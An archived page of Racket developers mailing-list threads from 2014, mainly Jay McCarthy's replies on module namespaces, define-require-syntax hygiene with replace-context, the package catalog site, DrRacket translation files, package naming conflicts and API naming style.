   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] using module system for alternate namespaces

2014-10-27 Thread Jay McCarthy
I'm having trouble understanding the problem.

In your example, is 'base the namespace API that you have available?
It has a way of referencing an identifier and making a binding? And
you are looking at a way to take modules like 'm1 (which are really
written using this namespace mechanism) and then turn them into Racket
modules? So, there is some pre-existing thing like 'm1 and you want to
turn it into a Racket-y thing that doesn't need to explicitly use the
namespace API?

If that is mostly accurate, then here are some ideas:

- If the other namespaces are fixed before the program runs, then you
can make them constructed through a macro that uses the namespace API
to query the namespace and set up bindings in (sub)modules that call
the reference function, some thing:

(define-syntax-rule (define-module-of namespace-id)
 (module namespace-id namespace/reflect namespace-id))

where namespace/reflect is a module language that has a #%module-begin like

(define-syntax (#%module-begin stx)
 (syntax-case stx ()
  [(_ . namespace-id)
   (with-syntax ([(id ...) (namespace-binding-list (syntax-datum
#'namespace-id))])
(syntax (begin (define id (namespace-get 'namespace-id 'id)) ...
(provide (all-defined-out)]))

Then your Racket code could just (require (submod . 'whatever)) and
get the macro-generated 'whatever namespace as Racket bindings.

This would work with separate compilation.

- If the other namespaces are dynamically created with the Racket
program, then you could follow a similar technique, but create an
evaluator in the main Racket program and then generate a call to
(define-module-of n) when the n namespace was ready and then inject a
Racket expression that wants to use those bindings into the evaluator
or something like that.

- I feel like this is vaguely similar to how the Web server's
templating system works.

Jay

On Mon, Oct 27, 2014 at 7:00 PM, Dan Liebgold dan.liebg...@gmail.com wrote:
 I have a namespace behind a particular API. I'd love to hook into the module
 system to control compilation, visibility, etc. of all the definitions and
 references.

 Here's an example. 'a' is available in the top level module even though it
 was defined by module 'm1' and not provided by any explicit mechanism.
 (Also, order dependencies seem imminent.)

 #lang racket

 (module base racket
   (define my-table (make-hasheq))

   (define-syntax (my-define stx)
 (syntax-case stx ()
  [(_ my-id expr) (identifier? #'my-id)
   #'(hash-set! my-table 'my-id expr)]))

   (define-syntax (my-eval stx)
 (syntax-case stx ()
  [(_ my-id)
   #'(hash-ref my-table my-id #f)]))

   (provide my-define
   my-eval)
   )

 (module m1 racket
   (require (submod .. base))
   (my-define a (+ 1 2))
   )

 (require 'base
 'm1)

 (my-eval 'a)


 Is there any example of doing something like this using the module system
 without polluting the top level namespace?  Am I correct in assuming that
 this will not work under separate module compilation?

 --
 Dan Liebgold[dan.liebg...@gmail.com]

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] define-require-syntax issue

2014-10-22 Thread Jay McCarthy
#lang racket/base

;; This module has a binding and an effect, so we can see that it was
;; required even when we can't get to it.
(module example racket/base
  (define x 1)
  (printf I'm running here\n)
  (provide x))

;; If you comment this in, you'll see the normal way to require it.

#;
(let ()
  (local-require (prefix-in no-macro: (submod . example)))
  (printf NM x is ~a\n no-macro:x)
  (void))

;; Here is the obvious macro of tihs form
(require racket/require-syntax)
(define-require-syntax macro1
  (syntax-rules ()
[(_) (submod . example)]))

;; If you comment this in, you'll see that the effect is run, meaning
;; that it really does require the right thing. Also notice that since
;; I'm using submodules, the problem ISN'T that `example1` is some how
;; no the right binding for the module. In your example of an absolute
;; path, it's even more clear that the path isn't wrong.

#;
(let ()
  (local-require (prefix-in macro1: (macro1)))
  ;; If you comment this in, you'll see that it is unbound.
  #;
  (printf M1 x is ~a\n macro1:x)
  (void))

;; Here is a more complicated version of the above macro. There's
;; really only one meaningful difference and that's that we explicitly
;; give the require syntax output the context of the CALL to
;; macro2. If macro2 had an argument, it may make more sense to use
;; that lexical context, because that argument probably came from the
;; ultimate user of this require syntax (in case macro2 is used by
;; another macro2)
(require (for-syntax racket/base
 syntax/strip-context))
(define-require-syntax macro2
  (λ (stx)
(syntax-case stx ()
  [(_)
   (replace-context stx (syntax (submod . example)))])))

;; You may want to comment this out while looking at the other ones so
;; you can be sure that this isn't the reason something is working.

(let ()
  (local-require (prefix-in macro2: (macro2)))
  (printf M2 x is ~a\n macro2:x)
  (void))

On Tue, Oct 21, 2014 at 9:26 PM, Dan Liebgold dan.liebg...@gmail.com wrote:
 If I do a (require (file some absolute path)) in a module, the provided
 stuff gets imported properly.

 If I do a special require form that uses define-require-syntax to generate
 an identical (file ...) the specified module gets evaluated -- but
 (seemingly) nothing gets imported.

 Is there something special the define-require-syntax transformer needs to do
 besides generate a syntax object?

 samth mentioned on irc that it is probably a hygiene issue... something
 about generating the right marks on the (file ...) form.

 --
 Dan Liebgold[dan.liebg...@gmail.com]

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] define-require-syntax issue

2014-10-22 Thread Jay McCarthy
If you have (require X) then the identifiers imported from X get the
lexical context of X. (Slight note: In something like (rename-in X [A
B]) then they get the context of A.)

If a macro made X, then the lexical context is equivalent to #f,
because every macro application gets a fresh lexical context. (This
part of how hygiene is implemented.)

So, since you macro produced an argument to require, the imports got
this empty lexical context.

If you had produced a single identifier, then you could've produced it
with (datum-syntax stx 'symbol) and that would make it so the symbol
would have stx's context, rather than the default which is basically
#f.

In the case of a file or submodule etc, when we construct a syntax
object with syntax (or quasisyntax or syntax/loc etc) there's no way
to specify what lexical context we want. (The /loc variants just
copy the source location, not the context.) Instead, we have to
construct the object and then go back and change the lexical context
using something like replace-context.

Thus, the (file abc) that you produce now has the right stuff. It is
possible that you could've just replace the context of file or of
abc and got the same effect, but I'm not sure (it depends on how
file is implemented.)

Jay




On Wed, Oct 22, 2014 at 2:03 PM, Dan Liebgold dan.liebg...@gmail.com wrote:
 So, yeah... that appears to work!

 I use replace-context to give the resulting require syntax output the
 context of the original argument. Here's what the change looks like, with my
 old way commented (unrelated note: path is actually relative):

 (define-require-syntax (gamelib stx)
   (syntax-case stx ()
 ((_ name)
 ;;(quasisyntax/loc stx (file #,(format ../some/path/~a.dc (syntax-datum
 #'name)
 (replace-context stx #`(file #,(format ../some/path/~a.dc (syntax-datum
 #'name)
 ))

 I thought the quasisyntax/loc would be enough, but I guess replace-context's
 increased thoroughness is necessary.

 So, is the problem that the identifiers imported by the require usage get
 the lexical context of the 'define-require-syntax' declaration (where I use
 #' maybe)?  I'm don't follow what exactly goes wrong with the imported
 identifiers.

 Thanks,
 Dan


 On Wed, Oct 22, 2014 at 4:58 AM, Jay McCarthy jay.mccar...@gmail.com
 wrote:

 #lang racket/base

 ;; This module has a binding and an effect, so we can see that it was
 ;; required even when we can't get to it.
 (module example racket/base
   (define x 1)
   (printf I'm running here\n)
   (provide x))

 ;; If you comment this in, you'll see the normal way to require it.

 #;
 (let ()
   (local-require (prefix-in no-macro: (submod . example)))
   (printf NM x is ~a\n no-macro:x)
   (void))

 ;; Here is the obvious macro of tihs form
 (require racket/require-syntax)
 (define-require-syntax macro1
   (syntax-rules ()
 [(_) (submod . example)]))

 ;; If you comment this in, you'll see that the effect is run, meaning
 ;; that it really does require the right thing. Also notice that since
 ;; I'm using submodules, the problem ISN'T that `example1` is some how
 ;; no the right binding for the module. In your example of an absolute
 ;; path, it's even more clear that the path isn't wrong.

 #;
 (let ()
   (local-require (prefix-in macro1: (macro1)))
   ;; If you comment this in, you'll see that it is unbound.
   #;
   (printf M1 x is ~a\n macro1:x)
   (void))

 ;; Here is a more complicated version of the above macro. There's
 ;; really only one meaningful difference and that's that we explicitly
 ;; give the require syntax output the context of the CALL to
 ;; macro2. If macro2 had an argument, it may make more sense to use
 ;; that lexical context, because that argument probably came from the
 ;; ultimate user of this require syntax (in case macro2 is used by
 ;; another macro2)
 (require (for-syntax racket/base
  syntax/strip-context))
 (define-require-syntax macro2
   (λ (stx)
 (syntax-case stx ()
   [(_)
(replace-context stx (syntax (submod . example)))])))

 ;; You may want to comment this out while looking at the other ones so
 ;; you can be sure that this isn't the reason something is working.

 (let ()
   (local-require (prefix-in macro2: (macro2)))
   (printf M2 x is ~a\n macro2:x)
   (void))

 On Tue, Oct 21, 2014 at 9:26 PM, Dan Liebgold dan.liebg...@gmail.com
 wrote:
  If I do a (require (file some absolute path)) in a module, the
  provided
  stuff gets imported properly.
 
  If I do a special require form that uses define-require-syntax to
  generate
  an identical (file ...) the specified module gets evaluated -- but
  (seemingly) nothing gets imported.
 
  Is there something special the define-require-syntax transformer needs
  to do
  besides generate a syntax object?
 
  samth mentioned on irc that it is probably a hygiene issue... something
  about generating the right marks on the (file ...) form.
 
  --
  Dan Liebgold[dan.liebg...@gmail.com

Re: [racket-dev] define-require-syntax issue

2014-10-22 Thread Jay McCarthy
A tiny note for Google... the source location information isn't part
of hygiene, it's like an orthogonal axis.

When a form like (syntax ) is used, it creates a new piece of
syntax where the origin is that particular file/line. When you use
syntax/loc, you create a new syntax object but you copy over the
source location from the argument. You don't need to do this for
syntax template identifiers (like name in Dan's example) but you do
need to do it for syntax lists that you create.

It is good form to always use syntax/loc and quasisyntax/loc when
writing macros so that errors are always at the abstraction level of
the client code rather the implementation. This is a similar principle
to using contracts.

Jay

On Wed, Oct 22, 2014 at 2:55 PM, Dan Liebgold dan.liebg...@gmail.com wrote:
 That makes sense.

 It turns out I need replace-context *and* quasisyntax/loc (and back to
 absolute paths):

 (define-require-syntax (gamelib stx)
   (syntax-case stx ()
 ((_ name)
 (replace-context stx (quasisyntax/loc stx (file #,(format
 ~a/some/path/~a.dc (current-directory)  (syntax-datum #'name))
 ))

 Without the ..syntax/loc form if I name the wrong file at my usage point the
 error location is the define-require-syntax declaration. Adding the /loc
 gets the correct usage location. Hrm.  Hygiene is deep magic.

 Thanks,
 Dan


 On Wed, Oct 22, 2014 at 11:09 AM, Jay McCarthy jay.mccar...@gmail.com
 wrote:

 If you have (require X) then the identifiers imported from X get the
 lexical context of X. (Slight note: In something like (rename-in X [A
 B]) then they get the context of A.)

 If a macro made X, then the lexical context is equivalent to #f,
 because every macro application gets a fresh lexical context. (This
 part of how hygiene is implemented.)

 So, since you macro produced an argument to require, the imports got
 this empty lexical context.

 If you had produced a single identifier, then you could've produced it
 with (datum-syntax stx 'symbol) and that would make it so the symbol
 would have stx's context, rather than the default which is basically
 #f.

 In the case of a file or submodule etc, when we construct a syntax
 object with syntax (or quasisyntax or syntax/loc etc) there's no way
 to specify what lexical context we want. (The /loc variants just
 copy the source location, not the context.) Instead, we have to
 construct the object and then go back and change the lexical context
 using something like replace-context.

 Thus, the (file abc) that you produce now has the right stuff. It is
 possible that you could've just replace the context of file or of
 abc and got the same effect, but I'm not sure (it depends on how
 file is implemented.)

 Jay




 On Wed, Oct 22, 2014 at 2:03 PM, Dan Liebgold dan.liebg...@gmail.com
 wrote:
  So, yeah... that appears to work!
 
  I use replace-context to give the resulting require syntax output the
  context of the original argument. Here's what the change looks like,
  with my
  old way commented (unrelated note: path is actually relative):
 
  (define-require-syntax (gamelib stx)
(syntax-case stx ()
  ((_ name)
  ;;(quasisyntax/loc stx (file #,(format ../some/path/~a.dc
  (syntax-datum
  #'name)
  (replace-context stx #`(file #,(format ../some/path/~a.dc
  (syntax-datum
  #'name)
  ))
 
  I thought the quasisyntax/loc would be enough, but I guess
  replace-context's
  increased thoroughness is necessary.
 
  So, is the problem that the identifiers imported by the require usage
  get
  the lexical context of the 'define-require-syntax' declaration (where I
  use
  #' maybe)?  I'm don't follow what exactly goes wrong with the imported
  identifiers.
 
  Thanks,
  Dan
 
 
  On Wed, Oct 22, 2014 at 4:58 AM, Jay McCarthy jay.mccar...@gmail.com
  wrote:
 
  #lang racket/base
 
  ;; This module has a binding and an effect, so we can see that it was
  ;; required even when we can't get to it.
  (module example racket/base
(define x 1)
(printf I'm running here\n)
(provide x))
 
  ;; If you comment this in, you'll see the normal way to require it.
 
  #;
  (let ()
(local-require (prefix-in no-macro: (submod . example)))
(printf NM x is ~a\n no-macro:x)
(void))
 
  ;; Here is the obvious macro of tihs form
  (require racket/require-syntax)
  (define-require-syntax macro1
(syntax-rules ()
  [(_) (submod . example)]))
 
  ;; If you comment this in, you'll see that the effect is run, meaning
  ;; that it really does require the right thing. Also notice that since
  ;; I'm using submodules, the problem ISN'T that `example1` is some how
  ;; no the right binding for the module. In your example of an absolute
  ;; path, it's even more clear that the path isn't wrong.
 
  #;
  (let ()
(local-require (prefix-in macro1: (macro1)))
;; If you comment this in, you'll see that it is unbound.
#;
(printf M1 x is ~a\n macro1:x)
(void))
 
  ;; Here is a more complicated version of the above macro. There's
  ;; really

Re: [racket-dev] pkgs.racket-lang.org

2014-09-26 Thread Jay McCarthy
On Fri, Sep 26, 2014 at 7:26 PM, Jan Dvořák mor...@anilinux.org wrote:
 Hi,

 about the http://pkgs.racket-lang.org/ - the site is getting rather large.
 Wouldn't server-side filtering work better than the client javascript
 solution?

You are finding it slow?

 Plus I often have trouble submitting new packages, the form could easily be
 done in the traditional way and the experience would be much better. Adding
 a package would be an atomic operating, unlike the current situation where I
 have to fill out some fields three times before they register correctly.

What do you mean by that? You should only have to fill out a field one
time correctly. If you're saying that you add one field and it doesn't
work, then there's a problem.

As far as making it one operation, that's something I may do shortly.

Jay

 [Firefox on Fedora 20, x86_64]

 Best regards,
 Jan Dvorak



 _
  Racket Developers list:
  http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Package build information

2014-09-10 Thread Jay McCarthy
Packages are rebuilt on a daily basis. The catalog, however, updates
checksums hourly. So, there is going to be a small delay between
fixing errors and seeing the site updated.

Jay

On Tue, Sep 9, 2014 at 10:14 PM, Greg Hendershott
greghendersh...@gmail.com wrote:
 This is really cool!


 Hmm, it looks like it stopped checking for updated packages yesterday
 9/8/2014 around 1:30 PM.

 I noticed because I submitted a PR for a package that was shown as
 failing[1], but after a few hours it hasn't been picked up and
 re-rested yet. Usually it checks for updates about once per hour,
 IIRC.

 (It's not urgent, and if were my own repo I'd do the manual refresh. I
 just wanted to point it out.)

 [1]: https://github.com/mbutterick/describe/pull/1



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


[racket-dev] Package build information

2014-09-09 Thread Jay McCarthy
http://pkgs.racket-lang.org now integrates the information from
http://pkg-build.racket-lang.org

For package users, the most prominent change is that it is now easy to
read the documentation for packages online.

For package authors, you can use the new information to find out if
there are any problems with your packages:

* Packages without documentation:

http://pkgs.racket-lang.org/#(!:docs:)(!main-distribution)(!main-tests)

* Packages that cannot be installed:

http://pkgs.racket-lang.org/#(:build-fail:)(!main-distribution)(!main-tests)

* Packages that need to specify more dependencies:

http://pkgs.racket-lang.org/#(:build-dep-fail:)(!main-distribution)(!main-tests)

* Packages with no description

http://pkgs.racket-lang.org/#(:no-desc:)(!main-distribution)(!main-tests)

* Packages without tags

http://pkgs.racket-lang.org/#(:no-tag:)(!main-distribution)(!main-tests)

I will be adding a UI element to summarize what you need to do with
your packages.

Jay

-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] How to translate DrRacket GUI to another (human) language?

2014-09-04 Thread Jay McCarthy
This file contains the string constants used by DrRacket:

https://github.com/plt/racket/blob/master/pkgs/string-constants-pkgs/string-constants-lib/string-constants/string-constant.rkt

It then grabs them from one of the language files like

https://github.com/plt/racket/blob/master/pkgs/string-constants-pkgs/string-constants-lib/string-constants/private/german-string-constants.rkt

You could create a file like this named finnish-string-constants and
give it to us (we'd be happy to make the changes to the first file
necessary to link it in.)

It is best to start modifying from

https://github.com/plt/racket/blob/master/pkgs/string-constants-pkgs/string-constants-lib/string-constants/private/english-string-constants.rkt

because it is complete. I also believe (and Robby can confirm this)
that any string translations you leave out will just remain in
English, even if you don't include them in your constants file.

I hope this process is not too painful and we are thankful for your
interest in helping!

Jay

On Thu, Sep 4, 2014 at 5:12 AM, Antti Karttunen
antti.karttu...@gmail.com wrote:
 Cheers,

 I need to create a Finnish translation of DrRacket GUI and error
 messages, starting from Beginning student level. How do I proceed
 and are there any guidelines for the internationalization of DrScheme?


 Yours,

 Antti Karttunen
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #29214: master branch updated

2014-09-04 Thread Jay McCarthy
My best understanding is that the problem is that path-pkg is used by
raco setup to tell whether unstated dependencies are present. If
files from collects/ are in a package, then everything needs to depend
on base (which is inconvenient) including other files in collects/
but the files in collects/ aren't part of a package that has
dependencies and base isn't actually considered installed (at least
during the collects/ part.)

As mentioned, I also tried racket as the package, but that had a
very similar (but slightly different) crash.

Jay


On Wed, Sep 3, 2014 at 6:22 PM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:
 On Wed, Sep 3, 2014 at 10:53 AM, Jay McCarthy j...@racket-lang.org wrote:
 I need to revert this because it horribly breaks the bootstrapping
 phase. It may be possible to make the core have a package in the
 future, but it's not an easy change.

 Is this because code expects #f instead of base? Or for some other reason?

 Sam



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


[racket-dev] DrDr migration

2014-09-04 Thread Jay McCarthy
I am in the process of moving DrDr to IU. You may get some weird and
delayed messages as the migration happens and problems are ironed out.
I apologize for the noise.

Jay

-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] dev Digest, Vol 68, Issue 3

2014-09-04 Thread Jay McCarthy
We've talked about creating a deeper hierarchy of errors than is shown
in the manual:

http://docs.racket-lang.org/reference/exns.html#%28part._.Built-in_.Exception_.Types%29

But it would be some painstaking work. Guillaume did some work on this:

http://scholar.google.com/citations?hl=enauthuser=0user=DFJca0EJ

But it hasn't yet been integrated well enough

Jay


On Thu, Sep 4, 2014 at 1:44 PM, Antti Karttunen
antti.karttu...@gmail.com wrote:
 On Thu, Sep 4, 2014 at 7:00 PM,  dev-requ...@racket-lang.org wrote:

 Message: 6
 Date: Thu, 4 Sep 2014 11:35:32 -0400
 From: Philippe Meunier meun...@ccs.neu.edu
 To: dev@racket-lang.org
 Subject: Re: [racket-dev] How to translate DrRacket GUI to another
 (human) language?
 Message-ID: 20140904153532.ga31...@tekken.ccs.neu.edu
 Content-Type: text/plain; charset=us-ascii

 Jay McCarthy wrote:
I also believe (and Robby can confirm this)
that any string translations you leave out will just remain in
English, even if you don't include them in your constants file.

 Yes.  See also 
 http://docs.racket-lang.org/string-constants/index.html#%28part._.Adding_.String_.Constants%29

 There's also a (very low traffic) mailing list for translators:
 http://lists.racket-lang.org/translators/
 You can subscribe to this mailing list if you want to be kept up to
 date with changes made to english-string-constants.rkt.

 Note that these translation files only cover the DrRacket GUI and some
 of the tools, not error messages that result from evaluating code.

 Yes, I just realized this painful truth:

 Bienvenido a DrRacket, versión 5.3.1 [3m].
 Lenguaje: Estudiante Principiante; memory limit: 128 MB.
 (cons 1 2 3)
 cons: expects only 2 arguments, but found 3
 (list '(a b c)))
 quote: expected the name of the symbol after the quote, but found a part


 Willkommen bei DrRacket, Version 5.3.1 [3m].
 Sprache: Anfänger; memory limit: 128 MB.
 (cons 1 2 3)
 cons: expects only 2 arguments, but found 3
 urpot
 urpot: this variable is not defined


 And understanding these error messages is the most important part for
 the beginning student! So, is it even on a roadmap that they would be
 localizable in the future?


 Yours,

 Antti


 Philippe




 End of dev Digest, Vol 68, Issue 3
 **

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #29214: master branch updated

2014-09-03 Thread Jay McCarthy
I need to revert this because it horribly breaks the bootstrapping
phase. It may be possible to make the core have a package in the
future, but it's not an easy change.

Jay

On Wed, Sep 3, 2014 at 10:44 AM,  j...@racket-lang.org wrote:
 jay has updated `master' from b942a21846 to 92d5408aa8.
   http://git.racket-lang.org/plt/b942a21846..92d5408aa8

 =[ One Commit ]=
 Directory summary:
3.9% pkgs/racket-pkgs/racket-test/tests/pkg/
   96.0% racket/collects/pkg/

 ~~

 92d5408 Jay McCarthy j...@racket-lang.org 2014-09-03 10:43
 :
 | Fix PR14692
 :
   M pkgs/racket-pkgs/racket-test/tests/pkg/path.rkt |   7 ++
   M racket/collects/pkg/path.rkt| 113 
 -

 =[ Overall Diff ]===

 pkgs/racket-pkgs/racket-test/tests/pkg/path.rkt
 ~~~
 --- OLD/pkgs/racket-pkgs/racket-test/tests/pkg/path.rkt
 +++ NEW/pkgs/racket-pkgs/racket-test/tests/pkg/path.rkt
 @@ -1,10 +1,17 @@
  #lang racket/base
  (require pkg/path
 + syntax/modresolve
   setup/dirs)

  (module+ test
(require rackunit)

 +  (check-equal? (path-pkg (resolve-module-path 'typed/racket #f))
 +typed-racket-lib)
 +
 +  (check-equal? (path-pkg (resolve-module-path 'racket #f))
 +base)
 +
(check-equal? (path-pkg (collection-file-path path.rkt tests pkg))
  racket-test)
(check-equal? (call-with-values

 racket/collects/pkg/path.rkt
 
 --- OLD/racket/collects/pkg/path.rkt
 +++ NEW/racket/collects/pkg/path.rkt
 @@ -69,6 +69,9 @@
 [orig-pkg `(catalog ,(cadr (pkg-info-orig-pkg 
 v)))])
v)

 +(define (mbind m f)
 +  (and m (f m)))
 +
  (define (path-pkg+subpath+collect* who given-p cache want-collect?)
(unless (path-string? given-p)
  (raise-argument-error who path-string? given-p))
 @@ -88,62 +91,72 @@
(define p (explode given-p))
(define (build-path* l)
  (if (null? l) 'same (apply build-path l)))
 -  (for/fold ([pkg #f] [subpath #f] [collect #f])
 -  ([scope (in-list (list* 'user
 -  (get-pkgs-search-dirs)))]
 -   #:when (not pkg))
 -(define d (or (and cache
 -   (hash-ref cache `(dir ,scope) #f))
 -  (let ([d (explode (get-pkgs-dir scope))])
 -(when cache (hash-set! cache `(dir ,scope) d))
 -d)))
 -(define (read-pkg-db/cached)
 -  (or (and cache
 -   (hash-ref cache `(db ,scope) #f))
 -  (let ([db (read-pkgs-db scope)])
 -(when cache (hash-set! cache `(db ,scope) db))
 -db)))
 -(cond
 - [(sub-path?  p d)
 -  ;; Under the installation mode's package directory.
 -  ;; We assume that no one else writes there, so the
 -  ;; next path element is the package name (or the package
 -  ;; name followed by +n)
 -  (define len (length d))
 -  (define pkg-name (path-element-string (list-ref p len)))
 -  (if (regexp-match? #rxpkgs[.]rktd pkg-name)
 -  (values #f #f #f) ; don't count the database as a package
 -  (values (if (regexp-match? #rx[+] pkg-name) ; +n used as an 
 alternate path, sometimes
 +  (define cdp (mbind (find-collects-dir) explode))
 +  (cond
 +[(and cdp (sub-path?  p cdp))
 + (define len (length cdp))
 + ;; This might need to be something else in the future, if base
 + ;; gets smaller
 + (values base
 + (build-path* (list-tail p (add1 len)))
 + #f)]
 +[else
 + (for/fold ([pkg #f] [subpath #f] [collect #f])
 + ([scope (in-list (list* 'user
 + (get-pkgs-search-dirs)))]
 +  #:when (not pkg))
 +   (define d (or (and cache
 +  (hash-ref cache `(dir ,scope) #f))
 + (let ([d (explode (get-pkgs-dir scope))])
 +   (when cache (hash-set! cache `(dir ,scope) d))
 +   d)))
 +   (define (read-pkg-db/cached)
 + (or (and cache
 +  (hash-ref cache `(db ,scope) #f))
 + (let ([db (read-pkgs-db scope)])
 +   (when cache (hash-set! cache `(db ,scope) db))
 +   db)))
 +   (cond
 + [(sub-path?  p d)
 +  ;; Under the installation mode's package directory.
 +  ;; We assume that no one else writes there, so the
 +  ;; next path element is the package name (or the package
 +  ;; name followed by +n)
 +  (define len (length d))
 +  (define pkg-name (path-element-string (list-ref p len)))
 +  (if (regexp-match? #rxpkgs[.]rktd pkg-name)
 +(values #f #f #f) ; don't count the database as a package
 +(values (if (regexp-match? #rx[+] pkg-name) ; +n used

Re: [racket-dev] current packages' docs, errors, and conflicts

2014-08-18 Thread Jay McCarthy
At a high-level, I think conflicts should be resolved by persuasion,
by long-suffering, by gentleness and meekness, and by love unfeigned.
We have had very few conflicts so far, but when they happen, I (the
package catalog maintainer) email the two package authors and let them
know what happened. Typically the newer author will volunteer that
they will change their package and it's fine. I think there will be a
rare instance where the older package is rotted in some way such that
the newer package would take precedence, but that's something we work
out with a social process.

At a low-level, I think that if a package X contains the first
instance of collection C then the docs for that should be named C.
But if it contains an extension of C, such as C/Y, then it should name
its docs C/Y. For instance, if I implement the BSON protocol, I may
name it net/bson and I will provide net/bson.rkt but the docs will
be in net/bson/manual.scrbl with an associated net/bson/info.rkt
to point at that manual.

In the case of these two packages, I think that these packages may be
both inappropriately named. c may be better as clang or lang-c
or lang-c-interp and c-utils may be better as syntax-c or
something like that. Maybe we are both being to broad in these
packages which caused us to conflict.

Jay

On Mon, Aug 18, 2014 at 2:44 PM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:
 On Tue, Jul 8, 2014 at 8:14 AM, Matthew Flatt mfl...@cs.utah.edu wrote:
 At Tue, 08 Jul 2014 14:08:27 +0200, Jan Dvořák wrote:

 Can you provide some guidelines on docs naming?
 I am responsible for half of the conflicts. :-)

 A package X that provides a collection X of the same name should
 probably also call its documentation X.

 What should we suggest when two packages both have collections named
 X? This is the case for the c and c-utils packages, which both
 provide the c collection.

 Sam



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] pkg account creator not working?

2014-07-23 Thread Jay McCarthy
I've just confirmed that it works with a bunch of different email
sources. If you could directly email me JS logs from your attempts,
with the time, we could try to figure it out.

Jay

On Mon, Jul 21, 2014 at 12:39 PM, J. Ian Johnson i...@ccs.neu.edu wrote:
 I've tried both now. No go.
 -Ian
 - Original Message -
 From: Leif Andersen l...@leifandersen.net
 To: J. Ian Johnson i...@ccs.neu.edu
 Cc: dev dev@racket-lang.org
 Sent: Monday, July 21, 2014 12:35:06 PM GMT -05:00 US/Canada Eastern
 Subject: Re: [racket-dev] pkg account creator not working?

 What web browser are you using?

 I was only able to make an account using Chromium. (Firefox didn't work for 
 me.)

 ~Leif Andersen


 On Mon, Jul 21, 2014 at 12:27 PM, J. Ian Johnson i...@ccs.neu.edu wrote:
 I tried to make an account of pkgs.racket-lang.org, and it never emailed me 
 a code. Is something in the pipeline not working?
 -Ian
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] generic API names considered harmful

2014-07-05 Thread Jay McCarthy
I am one of the guilty. The dispatcher system uses 'make' everywhere
and I intend people to use prefix-in:

 (prefix-in lift: web-server/dispatchers/dispatch-lift)
 (prefix-in fsmap: web-server/dispatchers/filesystem-map)
 (prefix-in sequencer: web-server/dispatchers/dispatch-sequencer)
 (prefix-in files: web-server/dispatchers/dispatch-files)
 (prefix-in filter: web-server/dispatchers/dispatch-filter)
 (prefix-in servlets: web-server/dispatchers/dispatch-servlets)
 (prefix-in log: web-server/dispatchers/dispatch-log))

This was originally an attempt to make it so dispatchers would be
dynamically load-able, so they'd need to have a common name that the
outside could expect. After implementing it and having some time with
these, that didn't seem like a worthwhile idea anymore.

I basically agree with you Neil.

Jay

On Fri, Jul 4, 2014 at 5:30 PM, Neil Van Dyke n...@neilvandyke.org wrote:
 For documented public API of modules that are part of core Racket, shouldn't
 pretty much all the identifiers be descriptive enough to be unique within
 the scope of core Racket?  (Excepting name conflicts from SRFIs and teaching
 languages?)

 I've now noticed generic API names like make and render in core Racket
 modules written by, I think, 3 different very smart core Racket developers.
 I don't understand why we're still doing this. Was it for use with the
 unitssignatures (which are more trouble than they're worth, IMHO)?

 For code using these APIs, for readability (since any generic names in a
 module are relative to what that module is about, not the possibly many
 modules that module uses), I end up using prefix-in on modules with
 generic API names, which is still harder to read than natural identifiers.

 And even if I do the prefix-in like foo-lib:, with a colon on the end,
 foo-lib:make is still harder for someone reading the code to look up the
 identifier in Racket doc search, compared looking up a unique API identifier
 like make-foo or foo-make.

 Neil V.

 _
  Racket Developers list:
  http://lists.racket-lang.org/dev



-- 
Jay McCarthy
